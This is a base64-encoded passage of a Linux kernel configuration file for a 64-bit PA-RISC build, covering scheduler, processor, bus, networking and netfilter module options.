Q0hFRF9DRlE9eQ0KIyBDT05GSUdfQ0ZRX0dST1VQX0lPU0NIRUQgaXMgbm90IHNldA0KQ09ORklH
X0RFRkFVTFRfQ0ZRPXkNCiMgQ09ORklHX0RFRkFVTFRfTk9PUCBpcyBub3Qgc2V0DQpDT05GSUdf
REVGQVVMVF9JT1NDSEVEPSJjZnEiDQojIENPTkZJR19JTkxJTkVfU1BJTl9UUllMT0NLIGlzIG5v
dCBzZXQNCiMgQ09ORklHX0lOTElORV9TUElOX1RSWUxPQ0tfQkggaXMgbm90IHNldA0KIyBDT05G
SUdfSU5MSU5FX1NQSU5fTE9DSyBpcyBub3Qgc2V0DQojIENPTkZJR19JTkxJTkVfU1BJTl9MT0NL
X0JIIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lOTElORV9TUElOX0xPQ0tfSVJRIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0lOTElORV9TUElOX0xPQ0tfSVJRU0FWRSBpcyBub3Qgc2V0DQojIENPTkZJR19J
TkxJTkVfU1BJTl9VTkxPQ0sgaXMgbm90IHNldA0KIyBDT05GSUdfSU5MSU5FX1NQSU5fVU5MT0NL
X0JIIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lOTElORV9TUElOX1VOTE9DS19JUlEgaXMgbm90IHNl
dA0KIyBDT05GSUdfSU5MSU5FX1NQSU5fVU5MT0NLX0lSUVJFU1RPUkUgaXMgbm90IHNldA0KIyBD
T05GSUdfSU5MSU5FX1JFQURfVFJZTE9DSyBpcyBub3Qgc2V0DQojIENPTkZJR19JTkxJTkVfUkVB
RF9MT0NLIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lOTElORV9SRUFEX0xPQ0tfQkggaXMgbm90IHNl
dA0KIyBDT05GSUdfSU5MSU5FX1JFQURfTE9DS19JUlEgaXMgbm90IHNldA0KIyBDT05GSUdfSU5M
SU5FX1JFQURfTE9DS19JUlFTQVZFIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lOTElORV9SRUFEX1VO
TE9DSyBpcyBub3Qgc2V0DQojIENPTkZJR19JTkxJTkVfUkVBRF9VTkxPQ0tfQkggaXMgbm90IHNl
dA0KIyBDT05GSUdfSU5MSU5FX1JFQURfVU5MT0NLX0lSUSBpcyBub3Qgc2V0DQojIENPTkZJR19J
TkxJTkVfUkVBRF9VTkxPQ0tfSVJRUkVTVE9SRSBpcyBub3Qgc2V0DQojIENPTkZJR19JTkxJTkVf
V1JJVEVfVFJZTE9DSyBpcyBub3Qgc2V0DQojIENPTkZJR19JTkxJTkVfV1JJVEVfTE9DSyBpcyBu
b3Qgc2V0DQojIENPTkZJR19JTkxJTkVfV1JJVEVfTE9DS19CSCBpcyBub3Qgc2V0DQojIENPTkZJ
R19JTkxJTkVfV1JJVEVfTE9DS19JUlEgaXMgbm90IHNldA0KIyBDT05GSUdfSU5MSU5FX1dSSVRF
X0xPQ0tfSVJRU0FWRSBpcyBub3Qgc2V0DQojIENPTkZJR19JTkxJTkVfV1JJVEVfVU5MT0NLIGlz
IG5vdCBzZXQNCiMgQ09ORklHX0lOTElORV9XUklURV9VTkxPQ0tfQkggaXMgbm90IHNldA0KIyBD
T05GSUdfSU5MSU5FX1dSSVRFX1VOTE9DS19JUlEgaXMgbm90IHNldA0KIyBDT05GSUdfSU5MSU5F
X1dSSVRFX1VOTE9DS19JUlFSRVNUT1JFIGlzIG5vdCBzZXQNCkNPTkZJR19NVVRFWF9TUElOX09O
X09XTkVSPXkNCkNPTkZJR19GUkVFWkVSPXkNCg0KIw0KIyBQcm9jZXNzb3IgdHlwZSBhbmQgZmVh
dHVyZXMNCiMNCiMgQ09ORklHX1BBNzAwMCBpcyBub3Qgc2V0DQojIENPTkZJR19QQTcxMDBMQyBp
cyBub3Qgc2V0DQojIENPTkZJR19QQTcyMDAgaXMgbm90IHNldA0KIyBDT05GSUdfUEE3MzAwTEMg
aXMgbm90IHNldA0KQ09ORklHX1BBOFgwMD15DQpDT05GSUdfUEEyMD15DQpDT05GSUdfUFJFRkVU
Q0g9eQ0KQ09ORklHXzY0QklUPXkNCkNPTkZJR19QQVJJU0NfUEFHRV9TSVpFXzRLQj15DQojIENP
TkZJR19QQVJJU0NfUEFHRV9TSVpFXzE2S0IgaXMgbm90IHNldA0KIyBDT05GSUdfUEFSSVNDX1BB
R0VfU0laRV82NEtCIGlzIG5vdCBzZXQNCkNPTkZJR19TTVA9eQ0KQ09ORklHX0hPVFBMVUdfQ1BV
PXkNCkNPTkZJR19BUkNIX1NFTEVDVF9NRU1PUllfTU9ERUw9eQ0KQ09ORklHX0FSQ0hfRElTQ09O
VElHTUVNX0VOQUJMRT15DQpDT05GSUdfQVJDSF9GTEFUTUVNX0VOQUJMRT15DQpDT05GSUdfQVJD
SF9ESVNDT05USUdNRU1fREVGQVVMVD15DQojIENPTkZJR19QUkVFTVBUX05PTkUgaXMgbm90IHNl
dA0KIyBDT05GSUdfUFJFRU1QVF9WT0xVTlRBUlkgaXMgbm90IHNldA0KQ09ORklHX1BSRUVNUFQ9
eQ0KQ09ORklHX1BSRUVNUFRfQ09VTlQ9eQ0KQ09ORklHX0haXzEwMD15DQojIENPTkZJR19IWl8y
NTAgaXMgbm90IHNldA0KIyBDT05GSUdfSFpfMzAwIGlzIG5vdCBzZXQNCiMgQ09ORklHX0haXzEw
MDAgaXMgbm90IHNldA0KQ09ORklHX0haPTEwMA0KIyBDT05GSUdfU0NIRURfSFJUSUNLIGlzIG5v
dCBzZXQNCkNPTkZJR19TRUxFQ1RfTUVNT1JZX01PREVMPXkNCkNPTkZJR19GTEFUTUVNX01BTlVB
TD15DQojIENPTkZJR19ESVNDT05USUdNRU1fTUFOVUFMIGlzIG5vdCBzZXQNCkNPTkZJR19GTEFU
TUVNPXkNCkNPTkZJR19GTEFUX05PREVfTUVNX01BUD15DQpDT05GSUdfUEFHRUZMQUdTX0VYVEVO
REVEPXkNCkNPTkZJR19TUExJVF9QVExPQ0tfQ1BVUz00DQojIENPTkZJR19DT01QQUNUSU9OIGlz
IG5vdCBzZXQNCkNPTkZJR19QSFlTX0FERFJfVF82NEJJVD15DQpDT05GSUdfWk9ORV9ETUFfRkxB
Rz0wDQpDT05GSUdfVklSVF9UT19CVVM9eQ0KQ09ORklHX0tTTT15DQpDT05GSUdfREVGQVVMVF9N
TUFQX01JTl9BRERSPTQwOTYNCiMgQ09ORklHX0NMRUFOQ0FDSEUgaXMgbm90IHNldA0KQ09ORklH
X0NPTVBBVD15DQpDT05GSUdfTlJfQ1BVUz0zMg0KDQojDQojIEJ1cyBvcHRpb25zIChQQ0ksIFBD
TUNJQSwgRUlTQSwgR1NDLCBJU0EpDQojDQpDT05GSUdfR1NDPXkNCkNPTkZJR19IUFBCPXkNCkNP
TkZJR19JT01NVV9DQ0lPPXkNCkNPTkZJR19HU0NfTEFTST15DQpDT05GSUdfR1NDX1dBWD15DQpD
T05GSUdfRUlTQT15DQpDT05GSUdfRUlTQV9OQU1FUz15DQojIENPTkZJR19JU0EgaXMgbm90IHNl
dA0KQ09ORklHX1BDST15DQojIENPTkZJR19BUkNIX1NVUFBPUlRTX01TSSBpcyBub3Qgc2V0DQpD
T05GSUdfUENJX0RFQlVHPXkNCiMgQ09ORklHX1BDSV9TVFVCIGlzIG5vdCBzZXQNCkNPTkZJR19Q
Q0lfQVRTPXkNCiMgQ09ORklHX1BDSV9JT1YgaXMgbm90IHNldA0KQ09ORklHX1BDSV9QUkk9eQ0K
Q09ORklHX1BDSV9QQVNJRD15DQpDT05GSUdfR1NDX0RJTk89eQ0KQ09ORklHX1BDSV9MQkE9eQ0K
Q09ORklHX0lPU0FQSUM9eQ0KQ09ORklHX0lPTU1VX1NCQT15DQpDT05GSUdfSU9NTVVfSEVMUEVS
PXkNCiMgQ09ORklHX1BDQ0FSRCBpcyBub3Qgc2V0DQpDT05GSUdfSE9UUExVR19QQ0k9eQ0KQ09O
RklHX0hPVFBMVUdfUENJX0ZBS0U9eQ0KIyBDT05GSUdfSE9UUExVR19QQ0lfQ1BDSSBpcyBub3Qg
c2V0DQojIENPTkZJR19IT1RQTFVHX1BDSV9TSFBDIGlzIG5vdCBzZXQNCg0KIw0KIyBQQS1SSVND
IHNwZWNpZmljIGRyaXZlcnMNCiMNCkNPTkZJR19TVVBFUklPPXkNCkNPTkZJR19DSEFTU0lTX0xD
RF9MRUQ9eQ0KQ09ORklHX1BEQ19DSEFTU0lTPXkNCkNPTkZJR19QRENfQ0hBU1NJU19XQVJOPXkN
CkNPTkZJR19QRENfU1RBQkxFPXkNCg0KIw0KIyBFeGVjdXRhYmxlIGZpbGUgZm9ybWF0cw0KIw0K
Q09ORklHX0JJTkZNVF9FTEY9eQ0KQ09ORklHX0NPUkVfRFVNUF9ERUZBVUxUX0VMRl9IRUFERVJT
PXkNCiMgQ09ORklHX0hBVkVfQU9VVCBpcyBub3Qgc2V0DQpDT05GSUdfQklORk1UX01JU0M9eQ0K
Q09ORklHX05FVD15DQoNCiMNCiMgTmV0d29ya2luZyBvcHRpb25zDQojDQpDT05GSUdfUEFDS0VU
PXkNCkNPTkZJR19VTklYPXkNCkNPTkZJR19YRlJNPXkNCkNPTkZJR19YRlJNX1VTRVI9bQ0KIyBD
T05GSUdfWEZSTV9TVUJfUE9MSUNZIGlzIG5vdCBzZXQNCiMgQ09ORklHX1hGUk1fTUlHUkFURSBp
cyBub3Qgc2V0DQojIENPTkZJR19YRlJNX1NUQVRJU1RJQ1MgaXMgbm90IHNldA0KQ09ORklHX05F
VF9LRVk9bQ0KIyBDT05GSUdfTkVUX0tFWV9NSUdSQVRFIGlzIG5vdCBzZXQNCkNPTkZJR19JTkVU
PXkNCkNPTkZJR19JUF9NVUxUSUNBU1Q9eQ0KIyBDT05GSUdfSVBfQURWQU5DRURfUk9VVEVSIGlz
IG5vdCBzZXQNCkNPTkZJR19JUF9ST1VURV9DTEFTU0lEPXkNCkNPTkZJR19JUF9QTlA9eQ0KQ09O
RklHX0lQX1BOUF9ESENQPXkNCiMgQ09ORklHX0lQX1BOUF9CT09UUCBpcyBub3Qgc2V0DQojIENP
TkZJR19JUF9QTlBfUkFSUCBpcyBub3Qgc2V0DQojIENPTkZJR19ORVRfSVBJUCBpcyBub3Qgc2V0
DQojIENPTkZJR19ORVRfSVBHUkVfREVNVVggaXMgbm90IHNldA0KIyBDT05GSUdfSVBfTVJPVVRF
IGlzIG5vdCBzZXQNCiMgQ09ORklHX0FSUEQgaXMgbm90IHNldA0KIyBDT05GSUdfU1lOX0NPT0tJ
RVMgaXMgbm90IHNldA0KQ09ORklHX0lORVRfQUg9bQ0KQ09ORklHX0lORVRfRVNQPW0NCiMgQ09O
RklHX0lORVRfSVBDT01QIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lORVRfWEZSTV9UVU5ORUwgaXMg
bm90IHNldA0KQ09ORklHX0lORVRfVFVOTkVMPW0NCkNPTkZJR19JTkVUX1hGUk1fTU9ERV9UUkFO
U1BPUlQ9bQ0KQ09ORklHX0lORVRfWEZSTV9NT0RFX1RVTk5FTD1tDQpDT05GSUdfSU5FVF9YRlJN
X01PREVfQkVFVD1tDQpDT05GSUdfSU5FVF9MUk89bQ0KQ09ORklHX0lORVRfRElBRz1tDQpDT05G
SUdfSU5FVF9UQ1BfRElBRz1tDQojIENPTkZJR19UQ1BfQ09OR19BRFZBTkNFRCBpcyBub3Qgc2V0
DQpDT05GSUdfVENQX0NPTkdfQ1VCSUM9eQ0KQ09ORklHX0RFRkFVTFRfVENQX0NPTkc9ImN1Ymlj
Ig0KIyBDT05GSUdfVENQX01ENVNJRyBpcyBub3Qgc2V0DQpDT05GSUdfSVBWNj1tDQojIENPTkZJ
R19JUFY2X1BSSVZBQ1kgaXMgbm90IHNldA0KIyBDT05GSUdfSVBWNl9ST1VURVJfUFJFRiBpcyBu
b3Qgc2V0DQojIENPTkZJR19JUFY2X09QVElNSVNUSUNfREFEIGlzIG5vdCBzZXQNCiMgQ09ORklH
X0lORVQ2X0FIIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lORVQ2X0VTUCBpcyBub3Qgc2V0DQojIENP
TkZJR19JTkVUNl9JUENPTVAgaXMgbm90IHNldA0KIyBDT05GSUdfSVBWNl9NSVA2IGlzIG5vdCBz
ZXQNCiMgQ09ORklHX0lORVQ2X1hGUk1fVFVOTkVMIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lORVQ2
X1RVTk5FTCBpcyBub3Qgc2V0DQpDT05GSUdfSU5FVDZfWEZSTV9NT0RFX1RSQU5TUE9SVD1tDQpD
T05GSUdfSU5FVDZfWEZSTV9NT0RFX1RVTk5FTD1tDQpDT05GSUdfSU5FVDZfWEZSTV9NT0RFX0JF
RVQ9bQ0KIyBDT05GSUdfSU5FVDZfWEZSTV9NT0RFX1JPVVRFT1BUSU1JWkFUSU9OIGlzIG5vdCBz
ZXQNCkNPTkZJR19JUFY2X1NJVD1tDQojIENPTkZJR19JUFY2X1NJVF82UkQgaXMgbm90IHNldA0K
Q09ORklHX0lQVjZfTkRJU0NfTk9ERVRZUEU9eQ0KIyBDT05GSUdfSVBWNl9UVU5ORUwgaXMgbm90
IHNldA0KIyBDT05GSUdfSVBWNl9NVUxUSVBMRV9UQUJMRVMgaXMgbm90IHNldA0KIyBDT05GSUdf
SVBWNl9NUk9VVEUgaXMgbm90IHNldA0KIyBDT05GSUdfTkVUTEFCRUwgaXMgbm90IHNldA0KIyBD
T05GSUdfTkVUV09SS19TRUNNQVJLIGlzIG5vdCBzZXQNCiMgQ09ORklHX05FVFdPUktfUEhZX1RJ
TUVTVEFNUElORyBpcyBub3Qgc2V0DQpDT05GSUdfTkVURklMVEVSPXkNCiMgQ09ORklHX05FVEZJ
TFRFUl9ERUJVRyBpcyBub3Qgc2V0DQpDT05GSUdfTkVURklMVEVSX0FEVkFOQ0VEPXkNCkNPTkZJ
R19CUklER0VfTkVURklMVEVSPXkNCg0KIw0KIyBDb3JlIE5ldGZpbHRlciBDb25maWd1cmF0aW9u
DQojDQpDT05GSUdfTkVURklMVEVSX05FVExJTks9bQ0KQ09ORklHX05FVEZJTFRFUl9ORVRMSU5L
X1FVRVVFPW0NCkNPTkZJR19ORVRGSUxURVJfTkVUTElOS19MT0c9bQ0KQ09ORklHX05GX0NPTk5U
UkFDSz1tDQpDT05GSUdfTkZfQ09OTlRSQUNLX01BUks9eQ0KQ09ORklHX05GX0NPTk5UUkFDS19F
VkVOVFM9eQ0KIyBDT05GSUdfTkZfQ09OTlRSQUNLX1RJTUVTVEFNUCBpcyBub3Qgc2V0DQojIENP
TkZJR19ORl9DVF9QUk9UT19EQ0NQIGlzIG5vdCBzZXQNCkNPTkZJR19ORl9DVF9QUk9UT19HUkU9
bQ0KQ09ORklHX05GX0NUX1BST1RPX1NDVFA9bQ0KIyBDT05GSUdfTkZfQ1RfUFJPVE9fVURQTElU
RSBpcyBub3Qgc2V0DQpDT05GSUdfTkZfQ09OTlRSQUNLX0FNQU5EQT1tDQpDT05GSUdfTkZfQ09O
TlRSQUNLX0ZUUD1tDQpDT05GSUdfTkZfQ09OTlRSQUNLX0gzMjM9bQ0KQ09ORklHX05GX0NPTk5U
UkFDS19JUkM9bQ0KQ09ORklHX05GX0NPTk5UUkFDS19CUk9BRENBU1Q9bQ0KQ09ORklHX05GX0NP
Tk5UUkFDS19ORVRCSU9TX05TPW0NCiMgQ09ORklHX05GX0NPTk5UUkFDS19TTk1QIGlzIG5vdCBz
ZXQNCkNPTkZJR19ORl9DT05OVFJBQ0tfUFBUUD1tDQpDT05GSUdfTkZfQ09OTlRSQUNLX1NBTkU9
bQ0KQ09ORklHX05GX0NPTk5UUkFDS19TSVA9bQ0KQ09ORklHX05GX0NPTk5UUkFDS19URlRQPW0N
CkNPTkZJR19ORl9DVF9ORVRMSU5LPW0NCiMgQ09ORklHX05FVEZJTFRFUl9UUFJPWFkgaXMgbm90
IHNldA0KQ09ORklHX05FVEZJTFRFUl9YVEFCTEVTPW0NCg0KIw0KIyBYdGFibGVzIGNvbWJpbmVk
IG1vZHVsZXMNCiMNCkNPTkZJR19ORVRGSUxURVJfWFRfTUFSSz1tDQpDT05GSUdfTkVURklMVEVS
X1hUX0NPTk5NQVJLPW0NCg0KIw0KIyBYdGFibGVzIHRhcmdldHMNCiMNCiMgQ09ORklHX05FVEZJ
TFRFUl9YVF9UQVJHRVRfQVVESVQgaXMgbm90IHNldA0KIyBDT05GSUdfTkVURklMVEVSX1hUX1RB
UkdFVF9DSEVDS1NVTSBpcyBub3Qgc2V0DQpDT05GSUdfTkVURklMVEVSX1hUX1RBUkdFVF9DTEFT
U0lGWT1tDQpDT05GSUdfTkVURklMVEVSX1hUX1RBUkdFVF9DT05OTUFSSz1tDQojIENPTkZJR19O
RVRGSUxURVJfWFRfVEFSR0VUX0NUIGlzIG5vdCBzZXQNCkNPTkZJR19ORVRGSUxURVJfWFRfVEFS
R0VUX0RTQ1A9bQ0KQ09ORklHX05FVEZJTFRFUl9YVF9UQVJHRVRfSEw9bQ0KIyBDT05GSUdfTkVU
RklMVEVSX1hUX1RBUkdFVF9JRExFVElNRVIgaXMgbm90IHNldA0KQ09ORklHX05FVEZJTFRFUl9Y
VF9UQVJHRVRfTUFSSz1tDQpDT05GSUdfTkVURklMVEVSX1hUX1RBUkdFVF9ORkxPRz1tDQpDT05G
SUdfTkVURklMVEVSX1hUX1RBUkdFVF9ORlFVRVVFPW0NCkNPTkZJR19ORVRGSUxURVJfWFRfVEFS
R0VUX05PVFJBQ0s9bQ0KQ09ORklHX05FVEZJTFRFUl9YVF9UQVJHRVRfUkFURUVTVD1tDQojIENP
TkZJR19ORVRGSUxURVJfWFRfVEFSR0VUX1RFRSBpcyBub3Qgc2V0DQojIENPTkZJR19ORVRGSUxU
RVJfWFRfVEFSR0VUX1RSQUNFIGlzIG5vdCBzZXQNCkNPTkZJR19ORVRGSUxURVJfWFRfVEFSR0VU
X1RDUE1TUz1tDQpDT05GSUdfTkVURklMVEVSX1hUX1RBUkdFVF9UQ1BPUFRTVFJJUD1tDQoNCiMN
CiMgWHRhYmxlcyBtYXRjaGVzDQojDQojIENPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hfQUREUlRZ
UEUgaXMgbm90IHNldA0KIyBDT05GSUdfTkVURklMVEVSX1hUX01BVENIX0NMVVNURVIgaXMgbm90
IHNldA0KQ09ORklHX05FVEZJTFRFUl9YVF9NQVRDSF9DT01NRU5UPW0NCkNPTkZJR19ORVRGSUxU
RVJfWFRfTUFUQ0hfQ09OTkJZVEVTPW0NCiMgQ09ORklHX05FVEZJTFRFUl9YVF9NQVRDSF9DT05O
TElNSVQgaXMgbm90IHNldA0KQ09ORklHX05FVEZJTFRFUl9YVF9NQVRDSF9DT05OTUFSSz1tDQpD
T05GSUdfTkVURklMVEVSX1hUX01BVENIX0NPTk5UUkFDSz1tDQojIENPTkZJR19ORVRGSUxURVJf
WFRfTUFUQ0hfQ1BVIGlzIG5vdCBzZXQNCkNPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hfRENDUD1t
DQojIENPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hfREVWR1JPVVAgaXMgbm90IHNldA0KQ09ORklH
X05FVEZJTFRFUl9YVF9NQVRDSF9EU0NQPW0NCkNPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hfRVNQ
PW0NCkNPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hfSEFTSExJTUlUPW0NCkNPTkZJR19ORVRGSUxU
RVJfWFRfTUFUQ0hfSEVMUEVSPW0NCkNPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hfSEw9bQ0KQ09O
RklHX05FVEZJTFRFUl9YVF9NQVRDSF9JUFJBTkdFPW0NCkNPTkZJR19ORVRGSUxURVJfWFRfTUFU
Q0hfTEVOR1RIPW0NCkNPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hfTElNSVQ9bQ0KQ09ORklHX05F
VEZJTFRFUl9YVF9NQVRDSF9NQUM9bQ0KQ09ORklHX05FVEZJTFRFUl9YVF9NQVRDSF9NQVJLPW0N
CkNPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hfTVVMVElQT1JUPW0NCiMgQ09ORklHX05FVEZJTFRF
Ul9YVF9NQVRDSF9PU0YgaXMgbm90IHNldA0KQ09ORklHX05FVEZJTFRFUl9YVF9NQVRDSF9PV05F
Uj1tDQpDT05GSUdfTkVURklMVEVSX1hUX01BVENIX1BPTElDWT1tDQpDT05GSUdfTkVURklMVEVS
X1hUX01BVENIX1BIWVNERVY9bQ0KQ09ORklHX05FVEZJTFRFUl9YVF9NQVRDSF9QS1RUWVBFPW0N
CkNPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hfUVVPVEE9bQ0KQ09ORklHX05FVEZJTFRFUl9YVF9N
QVRDSF9SQVRFRVNUPW0NCkNPTkZJR19ORVRGSUxURVJfWFRfTUFUQ0hfUkVBTE09bQ0KIyBDT05G
SUdfTkVURklMVEVSX1hUX01BVENIX1JFQ0VOVCBpcyBub3Qgc2V0DQpDT05GSUdfTkVURklMVEVS
X1hUX01BVENIX1NDVFA9bQ0KQ09ORklHX05FVEZJTFRFUl9YVF9NQVRDSF9TVEFURT1tDQpDT05G
SUdfTkVURklMVEVSX1hUX01BVENIX1NUQVRJU1RJQz1tDQpDT05GSUdfTkVURklMVEVSX1hUX01B
VENIX1NUUklORz1tDQpDT05GSUdfTkVURklMVEVSX1hUX01BVENIX1RDUE1TUz1tDQojIENPTkZJ
R19ORVRGSUxURVJfWFRfTUFUQ0hfVElNRSBpcyBub3Qgc2V0DQojIENPTkZJR19ORVRGSUxURVJf
WFRfTUFUQ0hfVTMyIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lQX1NFVCBpcyBub3Qgc2V0DQojIENP
TkZJR19JUF9WUyBpcyBub3Qgc2V0DQoNCiMNCiMgSVA6IE5ldGZpbHRlciBDb25maWd1cmF0aW9u
DQojDQpDT05GSUdfTkZfREVGUkFHX0lQVjQ9bQ0KQ09ORklHX05GX0NPTk5UUkFDS19JUFY0PW0N
CkNPTkZJR19ORl9DT05OVFJBQ0tfUFJPQ19DT01QQVQ9eQ0KQ09ORklHX0lQX05GX1FVRVVFPW0N
CkNPTkZJR19JUF9ORl9JUFRBQkxFUz1tDQpDT05GSUdfSVBfTkZfTUFUQ0hfQUg9bQ0KQ09ORklH
X0lQX05GX01BVENIX0VDTj1tDQpDT05GSUdfSVBfTkZfTUFUQ0hfVFRMPW0NCkNPTkZJR19JUF9O
Rl9GSUxURVI9bQ0KQ09ORklHX0lQX05GX1RBUkdFVF9SRUpFQ1Q9bQ0KQ09ORklHX0lQX05GX1RB
UkdFVF9MT0c9bQ0KQ09ORklHX0lQX05GX1RBUkdFVF9VTE9HPW0NCkNPTkZJR19ORl9OQVQ9bQ0K
Q09ORklHX05GX05BVF9ORUVERUQ9eQ0KQ09ORklHX0lQX05GX1RBUkdFVF9NQVNRVUVSQURFPW0N
CkNPTkZJR19JUF9ORl9UQVJHRVRfTkVUTUFQPW0NCkNPTkZJR19JUF9ORl9UQVJHRVRfUkVESVJF
Q1Q9bQ0KQ09ORklHX05GX05BVF9QUk9UT19HUkU9bQ0KQ09ORklHX05GX05BVF9QUk9UT19TQ1RQ
PW0NCkNPTkZJR19ORl9OQVRfRlRQPW0NCkNPTkZJR19ORl9OQVRfSVJDPW0NCkNPTkZJR19ORl9O
QVRfVEZUUD1tDQpDT05GSUdfTkZfTkFUX0FNQU5EQT1tDQpDT05GSUdfTkZfTkFUX1BQVFA9bQ0K
Q09ORklHX05GX05BVF9IMzIzPW0NCkNPTkZJR19ORl9OQVRfU0lQPW0NCkNPTkZJR19JUF9ORl9N
QU5HTEU9bQ0KQ09ORklHX0lQX05GX1RBUkdFVF9DTFVTVEVSSVA9bQ0KQ09ORklHX0lQX05GX1RB
UkdFVF9FQ049bQ0KQ09ORklHX0lQX05GX1RBUkdFVF9UVEw9bQ0KQ09ORklHX0lQX05GX1JBVz1t
DQojIENPTkZJR19JUF9ORl9TRUNVUklUWSBpcyBub3Qgc2V0DQpDT05GSUdfSVBfTkZfQVJQVEFC
TEVTPW0NCkNPTkZJR19JUF9ORl9BUlBGSUxURVI9bQ0KQ09ORklHX0lQX05GX0FSUF9NQU5HTEU9
bQ0KDQojDQojIElQdjY6IE5ldGZpbHRlciBDb25maWd1cmF0aW9uDQojDQpDT05GSUdfTkZfREVG
UkFHX0lQVjY9bQ0KQ09ORklHX05GX0NPTk5UUkFDS19JUFY2PW0NCkNPTkZJR19JUDZfTkZfUVVF
VUU9bQ0KQ09ORklHX0lQNl9ORl9JUFRBQkxFUz1tDQpDT05GSUdfSVA2X05GX01BVENIX0FIPW0N
CkNPTkZJR19JUDZfTkZfTUFUQ0hfRVVJNjQ9bQ0KQ09ORklHX0lQNl9ORl9NQVRDSF9GUkFHPW0N
CkNPTkZJR19JUDZfTkZfTUFUQ0hfT1BUUz1tDQpDT05GSUdfSVA2X05GX01BVENIX0hMPW0NCkNP
TkZJR19JUDZfTkZfTUFUQ0hfSVBWNkhFQURFUj1tDQpDT05GSUdfSVA2X05GX01BVENIX01IPW0N
CkNPTkZJR19JUDZfTkZfTUFUQ0hfUlQ9bQ0KQ09ORklHX0lQNl9ORl9UQVJHRVRfSEw9bQ0KQ09O
RklHX0lQNl9ORl9UQVJHRVRfTE9HPW0NCkNPTkZJR19JUDZfTkZfRklMVEVSPW0NCkNPTkZJR19J
UDZfTkZfVEFSR0VUX1JFSkVDVD1tDQpDT05GSUdfSVA2X05GX01BTkdMRT1tDQpDT05GSUdfSVA2
X05GX1JBVz1tDQojIENPTkZJR19JUDZfTkZfU0VDVVJJVFkgaXMgbm90IHNldA0KQ09ORklHX0JS
SURHRV9ORl9FQlRBQkxFUz1tDQpDT05GSUdfQlJJREdFX0VCVF9CUk9VVEU9bQ0KQ09ORklHX0JS
SURHRV9FQlRfVF9GSUxURVI9bQ0KQ09ORklHX0JSSURHRV9FQlRfVF9OQVQ9bQ0KQ09ORklHX0JS
SURHRV9FQlRfODAyXzM9bQ0KQ09ORklHX0JSSURHRV9FQlRfQU1PTkc9bQ0KQ09ORklHX0JSSURH
RV9FQlRfQVJQPW0NCkNPTkZJR19CUklER0VfRUJUX0lQPW0NCiMgQ09ORklHX0JSSURHRV9FQlRf
SVA2IGlzIG5vdCBzZXQNCkNPTkZJR19CUklER0VfRUJUX0xJTUlUPW0NCkNPTkZJR19CUklER0Vf
RUJUX01BUks9bQ0KQ09ORklHX0JSSURHRV9FQlRfUEtUVFlQRT1tDQpDT05GSUdfQlJJREdFX0VC
VF9TVFA9bQ0KQ09ORklHX0JSSURHRV9FQlRfVkxBTj1tDQpDT05GSUdfQlJJREdFX0VCVF9BUlBS
RVBMWT1tDQpDT05GSUdfQlJJREdFX0VCVF9ETkFUPW0NCkNPTkZJR19CUklER0VfRUJUX01BUktf
VD1tDQpDT05GSUdfQlJJREdFX0VCVF9SRURJUkVDVD1tDQpDT05GSUdfQlJJREdFX0VCVF9TTkFU
PW0NCkNPTkZJR19CUklER0VfRUJUX0xPRz1tDQpDT05GSUdfQlJJREdFX0VCVF9VTE9HPW0NCiMg
Q09ORklHX0JSSURHRV9FQlRfTkZMT0cgaXMgbm90IHNldA0KIyBDT05GSUdfSVBfRENDUCBpcyBu
b3Qgc2V0DQpDT05GSUdfSVBfU0NUUD1tDQojIENPTkZJR19TQ1RQX0RCR19NU0cgaXMgbm90IHNl
dA0KIyBDT05GSUdfU0NUUF9EQkdfT0JKQ05UIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDVFBfSE1B
Q19OT05FIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDVFBfSE1BQ19TSEExIGlzIG5vdCBzZXQNCkNP
TkZJR19TQ1RQX0hNQUNfTUQ1PXkNCiMgQ09ORklHX1JEUyBpcyBub3Qgc2V0DQojIENPTkZJR19U
SVBDIGlzIG5vdCBzZXQNCiMgQ09ORklHX0FUTSBpcyBub3Qgc2V0DQojIENPTkZJR19MMlRQIGlz
IG5vdCBzZXQNCkNPTkZJR19TVFA9bQ0KQ09ORklHX0JSSURHRT1tDQpDT05GSUdfQlJJREdFX0lH
TVBfU05PT1BJTkc9eQ0KIyBDT05GSUdfTkVUX0RTQSBpcyBub3Qgc2V0DQojIENPTkZJR19WTEFO
XzgwMjFRIGlzIG5vdCBzZXQNCiMgQ09ORklHX0RFQ05FVCBpcyBub3Qgc2V0DQpDT05GSUdfTExD
PW0NCiMgQ09ORklHX0xMQzIgaXMgbm90IHNldA0KIyBDT05GSUdfSVBYIGlzIG5vdCBzZXQNCiMg
Q09ORklHX0FUQUxLIGlzIG5vdCBzZXQNCiMgQ09ORklHX1gyNSBpcyBub3Qgc2V0DQojIENPTkZJ
R19MQVBCIGlzIG5vdCBzZXQNCiMgQ09ORklHX0VDT05FVCBpcyBub3Qgc2V0DQojIENPTkZJR19X
QU5fUk9VVEVSIGlzIG5vdCBzZXQNCiMgQ09ORklHX1BIT05FVCBpcyBub3Qgc2V0DQojIENPTkZJ
R19JRUVFODAyMTU0IGlzIG5vdCBzZXQNCiMgQ09ORklHX05FVF9TQ0hFRCBpcyBub3Qgc2V0DQoj
IENPTkZJR19EQ0IgaXMgbm90IHNldA0KQ09ORklHX0ROU19SRVNPTFZFUj15DQojIENPTkZJR19C
QVRNQU5fQURWIGlzIG5vdCBzZXQNCkNPTkZJR19SUFM9eQ0KQ09ORklHX1JGU19BQ0NFTD15DQpD
T05GSUdfWFBTPXkNCg0KIw0KIyBOZXR3b3JrIHRlc3RpbmcNCiMNCiMgQ09ORklHX05FVF9QS1RH
